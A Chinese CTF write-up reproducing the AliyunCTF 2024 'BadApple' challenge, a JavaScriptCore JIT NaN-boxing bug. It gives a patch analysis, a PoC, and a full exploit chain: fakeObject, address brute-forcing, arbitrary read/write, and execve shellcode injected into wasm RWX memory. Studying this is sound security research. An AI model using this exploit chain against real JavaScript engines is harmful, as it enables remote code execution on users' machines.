AliyunCTF 2024 - BadApple
2024-4-25 17:59:17 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏


前言

依稀记得那晚被阿里CTF支配的恐惧,今年的阿里CTF笔者就做了一道签到PWN题,当时也是下定决心要学习jsc pwn然后复现这道BadApple题目。

这个题目重新引入了一个

CVE,其实出题人已经白给了,因为出题人后面直接把当时漏洞发现者的演讲视频给了,然后通过视频可以找到解析文章,漏洞原理分析、poc基本都有了,但是当时笔者实力有限,还是没有搞出来,经过这两天对JSC漏洞利用的研究,打算把这道题目复现了。

注:如果读者想了解更多关于该漏洞的一些背景,请读者直接移步到参考文章,参考文章写的非常详细,对漏洞原理的分析也非常到位,本文更多的是记录如何从一个漏洞的patch一层一层的找到触发该漏洞的逻辑,而且写利用时也会遇到很多坑,笔者也详细做了记录。


环境搭建

git checkout WebKit-7618.1.15.14.7
git apply ../BadApple.diff
Tools/Scripts/build-webkit --jsc-only --release


漏洞分析

patch如下:

diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
index f2b51cf1213a..fd84ab644117 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
@@ -4307,7 +4307,7 @@ void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType
}

if (format == DataFormatJS) {
- purifyNaN(resultReg);
+ // purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
} else {
diff --git a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
index f4e0bf891a61..6acea11bd819 100644
--- a/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
+++ b/Source/JavaScriptCore/ftl/FTLLowerDFGToB3.cpp
@@ -15292,7 +15292,7 @@ IGNORE_CLANG_WARNINGS_END
else
genericResult = strictInt52ToJSValue(m_out.zeroExt(genericResult, Int64));
} else if (genericResult->type() == Double)
- genericResult = boxDouble(purifyNaN(genericResult));
+ genericResult = boxDouble(genericResult);

results.append(m_out.anchor(genericResult));
m_out.jump(continuation);
diff --git a/Source/JavaScriptCore/jsc.cpp b/Source/JavaScriptCore/jsc.cpp
index f85c7db6bfbe..6af45c3e477e 100644
--- a/Source/JavaScriptCore/jsc.cpp
+++ b/Source/JavaScriptCore/jsc.cpp
@@ -616,6 +616,9 @@ private:

Base::finishCreation(vm);
JSC_TO_STRING_TAG_WITHOUT_TRANSITION();
+ // addFunction(vm, "describe"_s, functionDescribe, 1);
+ // addFunction(vm, "print"_s, functionPrintStdOut, 1);
+ return;

addFunction(vm, "atob"_s, functionAtob, 1);
addFunction(vm, "btoa"_s, functionBtoa, 1);

这里DFGFTL中的两处漏洞都可以单独进行利用,所以这里仅仅看DFG中的漏洞,其补丁打在了SpeculativeJIT::compileGetByValOnFloatTypedArray函数中:

void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
ASSERT(isFloat(type));

SpeculateCellOperand base(this, m_graph.varArgChild(node, 0));
SpeculateStrictInt32Operand property(this, m_graph.varArgChild(node, 1));
StorageOperand storage(this, m_graph.varArgChild(node, 2));
GPRTemporary scratch(this);
FPRTemporary result(this);

GPRReg baseReg = base.gpr();
GPRReg propertyReg = property.gpr();
GPRReg storageReg = storage.gpr();
GPRReg scratchGPR = scratch.gpr();
FPRReg resultReg = result.fpr();

std::optional<GPRTemporary> scratch2;
GPRReg scratch2GPR = InvalidGPRReg;
#if USE(JSVALUE64)
if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
scratch2.emplace(this);
scratch2GPR = scratch2->gpr();
}
#endif

JSValueRegs resultRegs;
DataFormat format;
std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);

emitTypedArrayBoundsCheck(node, baseReg, propertyReg, scratchGPR, scratch2GPR);
switch (elementSize(type)) {
case 4:
loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);
convertFloatToDouble(resultReg, resultReg);
break;
case 8: {
// 【1】
loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);
break;
}
default:
RELEASE_ASSERT_NOT_REACHED();
}

if (format == DataFormatJS) {
// 【2】
// purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
} else {
ASSERT(format == DataFormatDouble);
doubleResult(resultReg, node);
}
}

compileGetByValOnFloatTypedArray函数顾名思义,其是用来优化GetByValOnFloatTypedArray操作的,比如如下代码:

let f64 = new Float64Array(10);
let val = f64[0];

对于f64[0]DFG阶段会调用compileGetByValOnFloatTypedArray对其进行优化,这里的f64Float64Array,所以元素大小是 8 字节,其会走到【1】处,loadDouble会根据索引从数组中加载相应的值到resultReg中。然后会走到后面的if-else处,如果format == DataFormatJS则会走到漏洞分支处,可以看到这里直接对resultReg进行了box处理,即将其转换为JSValue。

这里format == DataFormatJS表示优化编译器认为这个值在后面被会作为JSValue使用,所以会走if分支调用boxDouble将其转换为一个JSValue,否则认为后面会直接使用原始值,所以会走else分支不做box处理

可以看到,patch主要就是注释掉了purifyNaN(resultReg);从而引入了漏洞,来看下pyrifyNaN函数:

// Returns some kind of pure NaN.
inline double pureNaN()
{
return bitwise_cast<double>(0x7ff8000000000000ll);
}

#define PNaN (pureNaN())

inline bool isImpureNaN(double value)
{
return bitwise_cast<uint64_t>(value) >= 0xfffe000000000000llu;
}

// If the given value is NaN then return a NaN that is known to be pure.
inline double purifyNaN(double value)
{
if (value != value)
return PNaN;
return value;
}

可以看到这里函数的功能就跟其名称一样:purify NaN,在JSC中,其认为0x7ff8000000000000ll是一个pure NaN。所以这里的意思就是如果数组中的值是NaN,则统一使用pure NaN,后面简称PNaN。

为啥要统一使用PNaN?这里先来看下boxDouble。

boxDouble的实现有好多个,可以根据参数类型进行判断具体的调用的哪一个实现

void boxDouble(FPRReg fpr, JSValueRegs regs, TagRegistersMode mode = HaveTagRegisters)
{
boxDouble(fpr, regs.gpr(), mode);
}

GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
{
// 【1】
moveDoubleTo64(fpr, gpr);
if (mode == DoNotHaveTagRegisters)
sub64(TrustedImm64(JSValue::NumberTag), gpr);
else {
// 【2】
sub64(GPRInfo::numberTagRegister, gpr);
jitAssertIsJSDouble(gpr);
}
return gpr;
}

所以之前的函数走的是【2】分支,这里首先将fpr赋值给了gpr,然后执行sub64(GPRInfo::numberTagRegister, gpr);gpr = gpr - GPRInfo::numberTagRegister,这里跟踪一下:

static constexpr GPRReg numberTagRegister = X86Registers::r14;

所以这里GPRInfo::numberTagRegister对于的是虚拟寄存器r14,行那么问题来了?r14在实际运行时到底是多少呢?这里还是不知道,所以我们还是根据GPRInfo::numberTagRegister的名称进行搜索:

// If all bits in the mask are set, this indicates an integer number,
// if any but not all are set this value is a double precision number.
static constexpr int64_t NumberTag = 0xfffe000000000000ll;

最后找到了一个比较相关的,其值为0xfffe000000000000ll,其实可以发现其就是integer JSValuemask,所以这里我们可以认为其就是gpr = gpr - 0xfffe000000000000ll,但是似乎也不对啊,double JSValue应该是gpr = gpr + 0x0002000000000000ll才对啊,别急:

gpr = gpr-0xfffe000000000000ll
= gpr-0xfffe000000000000ll-0x0002000000000000ll+0x0002000000000000ll
= gpr-(0xfffe000000000000ll+0x0002000000000000ll)+0x0002000000000000ll
= gpr-0x1_0000000000000000[发生溢出]+0x0002000000000000ll
= gpr+0x0002000000000000ll

所以其是等效的,这里的效果就是gpr = gpr + 0x0002000000000000ll,行,接下来我们在梳理一下程序的流程:

f64[0]
==> resultReg = loadDouble
if format == DataFormatJS is true ==> resultReg + 0x0002000000000000ll
==> return

这里其实漏洞就很明显了,如果resuleReg = 0xfffe_????_????_????,那么此时就会发生溢出:

resultReg + 0x0002000000000000ll = 0xfffe_????_????_???? + 0x0002000000000000ll
= 0x0000_????_????_????

0x0000_????_????_????会被当作一个指针,所以就获得了一个fakeObject原语。那么这里resuleReg可以为0xfffe_?...?吗?答案是可以的,比如如下代码:

let f64 = new Float64Array(10);
let u64 = new BigUint64Array(f64);
u64[0] = 0xfffe_0000_0000_1111n;
let val = f64[0];

这里我们顺便看下为啥加上purifyNaN就可以消除这个漏洞,我们知道0xfffe_????_????_????对于double而言都是NaN(其实只要指数域全部置位,尾数域不全为 0,表示的就是NaN),所以对于此类值,我们都统一使用PNaN = 0x7ff8000000000000ll,这时:

resultReg + 0x0002000000000000ll = 0x7ff8000000000000ll + 0x0002000000000000ll
= 0x7ffa000000000000

可以看到这里就避免了溢出的发生。

漏洞触发:

接下来就是关键的漏洞触发路径的探索了。

通过上面的分析,我们知道想要触发漏洞,就要执行到:

void SpeculativeJIT::compileGetByValOnFloatTypedArray(
Node* node,
TypedArrayType type,
const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)

并且要求最后执行if分支,即format == DataFormatJS得成立,而format被赋值的语句如下:

void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
......
JSValueRegs resultRegs;
DataFormat format;
std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);
......

可以看到format的值为compileGetByValOnFloatTypedArray的第三个参数prefix(其是一个lambda函数) 返回值tuple的第二个值。所以这里目标就很清楚了:

◆调用compileGetByValOnFloatTypedArray函数

◆传入的第三个参数prefix执行后返回值tuple的第二个元素为DataFormatJS

先看下有哪些函数调用compileGetByValOnFloatTypedArray,经过搜索,笔者仅在如下路径中找到调用:

Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compileGetByVal
Source\JavaScriptCore\dfg\DFGSpeculativeJIT32_64.cpp ⇒ SpeculativeJIT::compileGetByVal

然后看DFGSpeculativeJIT32_64.cp似乎没用了?这里看下DFGSpeculativeJIT64.cpp下的实现:

void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
switch (node->arrayMode().type()) {
......
case Array::Float32Array:
case Array::Float64Array: {
TypedArrayType type = node->arrayMode().typedArrayType();
if (isInt(type))
compileGetByValOnIntTypedArray(node, type, prefix);
else
compileGetByValOnFloatTypedArray(node, type, prefix);
} }
}

这里继续跟踪compileGetByVal的引用,看看谁调用了它,最后找到如下调用:

// DFGSpeculativeJIT32_64.cpp 下的是一样的,就不多说了
Source\JavaScriptCore\dfg\DFGSpeculativeJIT64.cpp ⇒ SpeculativeJIT::compile
Source\JavaScriptCore\dfg\DFGSpeculativeJIT.cpp ⇒ SpeculativeJIT::compileEnumeratorGetByVal

这里先来看下SpeculativeJIT::compile函数:

void SpeculativeJIT::compile(Node* node)
{
NodeType op = node->op();
......
switch (op) {
......
case GetByVal: {
JSValueRegsTemporary result;
compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>([&] (DataFormat preferredFormat) {
JSValueRegs resultRegs;
switch (preferredFormat) {
case DataFormatDouble:
break;
default: {
result = JSValueRegsTemporary(this);
resultRegs = result.regs();
break;
}
};
return std::tuple { resultRegs, preferredFormat, CanUseFlush::Yes };
}));
break;
}

这里我并没有在外部找到preferredFormat的定义,所以这里lambda函数返回的tuple的第二个元素似乎不确定,所以这条路径暂时放弃。

然后再来看下

SpeculativeJIT::compileEnumeratorGetByVal函数:

void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
Edge baseEdge = m_graph.varArgChild(node, 0);
auto generate = [&] (JSValueRegs baseRegs) {
......
compileGetByVal(node,
scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) {

......
return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
}));
......
};
......
}

可以到这里lambda函数返回的tuple的第二个元素恒为DataFormatJS,这时符合条件的,并且由于其固定为DataFormatJS,对漏洞利用的稳定性也有很大的帮助。

说实话,感觉是真的巧,巧合就有这么一个函数,巧合其返回的就是DataFormatJS,差一个环节,这个漏洞的利用都会显得非常困难

所以最后我们需要执行到compileEnumeratorGetByVal逻辑即可,而跟踪可以知道,其会在SpeculativeJIT::compile中被调用:

void SpeculativeJIT::compile(Node* node)
{
NodeType op = node->op();
......
switch (op) {
......
case EnumeratorGetByVal: {
compileEnumeratorGetByVal(node);
break;
}
......

根据case可以知道,其是处理EnumeratorGetByVal操作的,并且这里基本上就到了优化编译路径的顶层了。

void SpeculativeJIT::compileCurrentBlock()
{
ASSERT(m_compileOkay);
......
for (m_indexInBlock = 0; m_indexInBlock < m_block->size(); ++m_indexInBlock) {
m_currentNode = m_block->at(m_indexInBlock);
......
compile(m_currentNode);
......

接下来就是要看看EnumeratorGetByVal对应的操作是什么,这里结合chatGPT食用:

JavaScriptCore中,EnumeratorGetByVal是一个函数,用于在枚举对象的属性时获取指定键的值。

当使用

for...in语句或Object.keys()等方法枚举对象的属性时,JavaScriptCore使用EnumeratorGetByVal函数来获取每个属性的值。

这里不禁让我想到了V8for-in的实现,for-in其实是一个非常耗时的语句,不同的引擎针对for-in的实现都做了不同的优化,在V8中,其主要就是通过enum cache去加速for-in语句的属性查找,之前分析过的V8中关于enum cache的漏洞就是enum cache在对象类型改变时没有及时更新从而导致越界,感兴趣的读者可以参考之前笔者的文章。

还是回到

JSC中来,笔者并没用找到JSC中关于for-in的实现资料,关于源码.....嗯,笔者暂时没打算直接读源码,因为笔者现在还在对JSC的整个编译流程做总结,还没用打算深入源码,毕竟还得慢慢来,一口不能吃成一个大胖子。

但是到这里我们就可以尝试写

poc了,我们只需要知道for-in中利用key获取属性值时会走到漏洞逻辑进行了,考虑如下poc:由于对JSC的一些编译管道不是很熟悉,所以poc写了很久都没写出来,最后直接看官方poc吧。

let abuf = new ArrayBuffer(8);
let lbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);

obj = {other:1};
function trigger(arg, t) {
for (let i in obj) {
obj = [0];
t.x = arg[i];
}
}

t = {x: {}};
trigger(obj, t);
for (let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}

lbuf[0] = 0xfffe0000_00000001n;
trigger(fbuf, t);
t.x;

调试程序crash



可以看到程序crash的原因是内存读写错误,因为此时的r13 = 1是一个无效地址。


漏洞利用

现在我们已经获得了一个fakeObject原语,接下来就是去考虑该如何进行利用了......说实话,我还真不知道咋利用,毕竟没有addressOf原语就没办法泄漏相关对象的地址,从而无法去伪造合法的对象,所以这里得想办法泄漏对象地址。

这里参考文章中给出了一种方案,这里不细说,具体请参考参考文章,简单来说就是当

===操作被优化后,其直接使用cmp指令进行比较,那么我们可以利用一个有效指针和无效指针进行比较从而爆破对象地址。

笔者在写

exp的时候遇到了很多问题,而这些问题在参考文章中都没有说明,所以笔者带着大家去解决这些问题:

◆1、防止GC发生,由于存在对一些非法对象的引用,如果触发GC则会导致crash。
◆2、防止循环爆破地址的过程中发生一些优化,否则会导致程序crash,因为优化时会对对象进行检查。
◆3、还有一些其它问题,我也说不明白是什么问题。

首先说明下,在ubu20.04上,我发现对象的低24比特似乎是固定的:不知道是不是平台的原因,还是是其跟V8有差不多的特性?


接下来就跟着笔者去碰一碰利用过程中遇到的问题吧,第一版爆破对象地址的exp

var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);

var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {
for (let i in obj) {
obj = [1];
let out = arg[i];
a2.x = out;
}
}

function compare_obj(pointer, target_obj) {
return pointer.x === target_obj;
}

function fakeObject(addr) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, t);
}

trigger(obj, t);
trigger(t, obj_to_leak);

for (let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}

for (let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}

debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
print(i);
addr = 0x7f0000500180n + i*0x1000000n;
fakeObject(addr);
let res = compare_obj(t, obj_to_leak);
if (res) {
print("Success");
break
}
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));

运行直接crash




调试看看是哪里出了问题:


可以看到这里的rdi就是我们进行爆破的地址,现在其是一个无效的地址,所以这里[rdi+0x5]发生了内存访问错误,看调用栈可以知道其发生在如下调用逻辑:

[#0] 0x7ffff6616dfb → JSC::speculationFromCell(JSC::JSCell*)()
[#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker const&, JSC::CodeBlock*)()
[#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()()
[#3] 0x7ffff6f6e71d → operationOptimize()

而且通过rdi的值可以知道其是在爆破的过程中发生了,所以这里应该是在爆破的过程中发生了优化,其实大概就可以猜测是因为某个操作循环了多次导致的,这里读者可以大概去看一下operationOptimize函数(其实也不用看),然后就可以知道updateAllPredictions函数用来更新预测信息的(其实根据函数名也知道)。

所以接下来就是去找出是哪里发生了优化,这里基本也是连猜带懵(其实这里可以主要到其明显与伪造对象有关,而结合源代码,基本上就可以知道是哪里出现了问题),当然这里笔者也没搞懂底层的根本原因,所以就不多说了,直接看代码。

这里笔者写出了第二版泄漏代码:

var abuf = new ArrayBuffer(8);
var lbuf = new BigUint64Array(abuf);
var fbuf = new Float64Array(abuf);

var t = {x: {}};
var obj = {x:1234, y:1234};
var obj_to_leak = { p1: 1337, p2: 1337 };
function trigger(arg, a2) {
for (let i in obj) {
obj = [1];
let out = arg[i];
a2.x = out;
}
}

function compare_obj(pointer, target_obj) {
return pointer.x === target_obj;
}

function fakeObject(addr) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, t);
}

trigger(obj, t);
trigger(t, obj_to_leak);

for (let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}

lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}

for (let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}

debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
print(i);
addr = 0x7f0000500180n + i*0x1000000n;
fakeObject(addr);
let res = compare_obj(t, obj_to_leak);
if (res) {
print("Success");
break
}
}
debug(describe(obj_to_leak));
print("addr: 0x"+addr.toString(16));

笔者增加了如下代码去提前进行相关优化:

lbuf[0] = 0xfffe0000_22222222n;
for (let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}

为什么选择0xfffe0000_22222222n呢?因为笔者测试发现如果你把原始poc中的0xfffe0000_00000001n换成0xfffe0000_22222222n,程序不会崩溃,当然还有一些其它值也不会崩溃,比如0xfffe0000_00000002n、0xfffe0000_00000006n等等,这里2表示的是Null6表示的是false,所以其不会崩溃自然可以理解。

运行结果如下:




虽然还是崩溃了,但是可以看到现在可以执行的更远了,这里是执行到了19565,而上面仅仅执行到了159,还是调试分析下:


可以看到这里的崩溃原因与第一版的并不一样,并且这版运行的更远,说明上一个版本的问题我们已经成功解决了。但是这个问题,笔者并没有很好的解决,因为笔者感觉是gc的问题,所以多跑几次吧。




如果读者针对该问题有比较好的解决方案,欢迎交流。

泄漏了对象地址后,其实就比较简单了,直接套模板就行了,

exp其实可以简化的,但是不想改了,因为obj_to_leak对象的地址的低24比特随着代码而改变,增加一行代码或减少一行代码都有可能使得其地址低24比特被改变,如果存在像V8那样的通用堆喷就好了。exploit如下:

var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);

function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}

function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}

function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}

function set_u64(val) {
u64[0] = val;
}

function set_l(l) {
u32[0] = l;
}

function set_h(h) {
u32[1] = h;
}

function get_l() {
return u32[0];
}

function get_h() {
return u32[1];
}

function get_u64() {
return u64[0];
}

function get_f64() {
return f64[0];
}

function get_fl(val) {
f64[0] = val;
return u32[0];
}

function get_fh(val) {
f64[0] = val;
return u32[1];
}

function hexx(str, val) {
print(str+": 0x"+val.toString(16));
}

function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

var abuf = new ArrayBuffer(8);
var fbuf = new Float64Array(abuf);
var lbuf = new BigUint64Array(abuf);

var arrs = new Array(0x20).fill({});
for (let i = 0; i < 0x20; i++) {
arrs[i] = { x: 1337, y: 1337 };
};
var t = { x: 1337, y: 1337};
var obj = { x: 1337, y: 1337 };
var obj_to_leak = { x: 1337, y: 1337 };
var header = { x: 1337, y: 1337 };
var butterfly = { x: 200, y: 1337 };
var addressOf_obj = { x: 1337, y: 1337 };

function trigger(arr, a2) {
for (let i in obj) {
obj = [1];
let out = arr[i];
a2.y = out;
}
}

function fakeObject(addr, a2) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, a2);
}

function compare_obj(pointer, target_obj) {
return pointer.y === target_obj;
}

trigger(obj, t);
compare_obj(t, obj_to_leak);

for (let i = 0; i < 0x30000; i++) {
trigger(fbuf, t);
}

lbuf[0] = 0xfffe0000_22222222n;;
for (let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}

for (let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}

print("==> Go");
//debug(describe(obj_to_leak));
var addr = 0n;
for (let i = 0n; i < 0xffffn; i += 1n) {
addr = 0x7fffff50c580n - i*0x1000000n;
// print(i);
// hexx("addr", addr);
fakeObject(addr, t);
let res = compare_obj(t, obj_to_leak);
if (res) {
hexx("addr", addr);
break;
}
}

obj_to_leak.x = u64_to_f64(0x0108230700000000n-0x2000000000000n);
fakeObject(0x2000000020n, header);
obj_to_leak.y = butterfly;

fakeObject(addr+0x10n, t);
var fake_object = t.y;

//debug(describe(obj_to_leak));
//debug(describe(header));
//debug(describe(butterfly));
//debug(describe(addressOf_obj));

function addressOf(obj) {
butterfly.x = obj;
return f64_to_u64(fake_object[2]);
}

print("==> End");
hexx("test", addressOf(addressOf_obj));

function fakeObject_better(addr) {
fake_object[2] = u64_to_f64(addr);
return butterfly.x;
}

function leakStructureID(obj) {
let container = {
jscell: u64_to_f64(0x0108230700000000n-0x2000000000000n),
butterfly: obj
};

let fake_object_addr = addressOf(container) + 0x10n;
let leak_fake_object = fakeObject_better(fake_object_addr);
let num = f64_to_u64(leak_fake_object[0]);

let structureID = num & 0xffffffffn;
container.jscell = f64[0];
return structureID;
}

var noCOW = 1.1;
var arrs = [];
for (let i = 0; i < 100; i++) {
arrs.push([noCOW]);
}
var ID = [noCOW];

//debug(describe(ID));
var structureID = leakStructureID(ID);
hexx("structureID", structureID);

var victim = [noCOW, 1.1, 2.2];
victim['prop'] = 3.3;
victim['brob'] = 4.4;

var container = {
jscell: u64_to_f64(structureID+0x0108230900000000n-0x2000000000000n),
butterfly: victim
};

var container_addr = addressOf(container);
var driver_addr = container_addr + 0x10n;
var driver = fakeObject_better(driver_addr);

//debug(describe(victim));
//debug(describe(driver));

var unboxed = [noCOW, 1.1, 2.2];
var boxed = [{}];

driver[1] = unboxed;
var sharedButterfly = victim[1];
hexx("sharedButterfly", f64_to_u64(sharedButterfly));
//debug(describe(unboxed));

driver[1] = boxed;
victim[1] = sharedButterfly;

function new_addressOf(obj) {
boxed[0] = obj;
return f64_to_u64(unboxed[0]);
}

function new_fakeObject(addr) {
unboxed[0] = u64_to_f64(addr);
return boxed[0];
}

function read64(addr) {
driver[1] = new_fakeObject(addr + 0x10n);
return new_addressOf(victim.prop);
}

function write64(addr, val) {
driver[1] = new_fakeObject(addr + 0x10n);
victim.prop = u64_to_f64(val);;
}

function ByteToDwordArray(payload) {
let sc = [];
let tmp = [];
let len = Math.ceil(payload.length / 6);
for (let i = 0; i < len; i += 1) {
tmp = 0n;
pow = 1n;
for(let j = 0; j < 6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0n;
}
pow = j==0 ? 1n : 256n * pow;
tmp += c * pow;
}
tmp += 0xc000000000000n;
sc.push(tmp);
}
return sc;
}

function arb_write(addr, payload) {
let sc = ByteToDwordArray(payload);
for(let i = 0; i < sc.length; i++) {
write64(addr, sc[i]);
addr += 6n;
}
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var pwn_addr = new_addressOf(pwn);
hexx("pwn_addr", pwn_addr);
var rwx_ptr = read64(pwn_addr + 0x30n);
var rwx_addr = read64(rwx_ptr);;
hexx("rwx_addr", rwx_addr);

var shellcode =[106n, 104n, 72n, 184n, 47n, 98n, 105n, 110n, 47n, 47n, 47n, 115n,
80n, 72n, 137n, 231n, 104n, 114n, 105n, 1n, 1n, 129n, 52n, 36n, 1n,
1n, 1n, 1n, 49n, 246n, 86n, 106n, 8n, 94n, 72n, 1n, 230n,86n, 72n,
137n, 230n, 49n, 210n, 106n, 59n, 88n, 15n, 5n];

arb_write(rwx_addr, shellcode);
pwn();

效果如下:



总结

通过对该漏洞的分析与调试,笔者学习了如何通过一个fakeObject原语进行RCE,并且也让我认识到了自己对JIT真是了解甚少,原作者通过===优化后的代码去爆破对象地址可谓妙哉。

但是自己写利用,调试分析

exp的问题从而针对问题进行修改,这对笔者的漏洞利用能力有极大的帮助,当然也希望自己可以跟上大佬的步伐,早日成功一个还不错的安全研究人员。

Safari, Hold Still for NaN Minutes!

https://blog.exodusintel.com/2023/12/11/safari-hold-still-for-nan-minutes/

看雪ID:XiaozaYa

https://bbs.kanxue.com/user-home-965217.htm

*本文为看雪论坛精华文章,由 XiaozaYa 原创,转载请注明来自看雪社区

# 往期推荐

1、自定义Linker实现分析之路

2、逆向分析VT加持的无畏契约纯内核挂

3、阿里云CTF2024-暴力ENOTYOURWORLD题解

4、Hypervisor From Scratch - 基本概念和配置测试环境、进入 VMX 操作

5、V8漏洞利用之对象伪造漏洞利用模板

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458551651&idx=1&sn=91b96cb3efd841999f8381d2f86e2247&chksm=b18db5e986fa3cff8edf467098f6e0dd1bdc8ec3ebb6365ee2ca759e93cd9c509f32c0eb0877&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh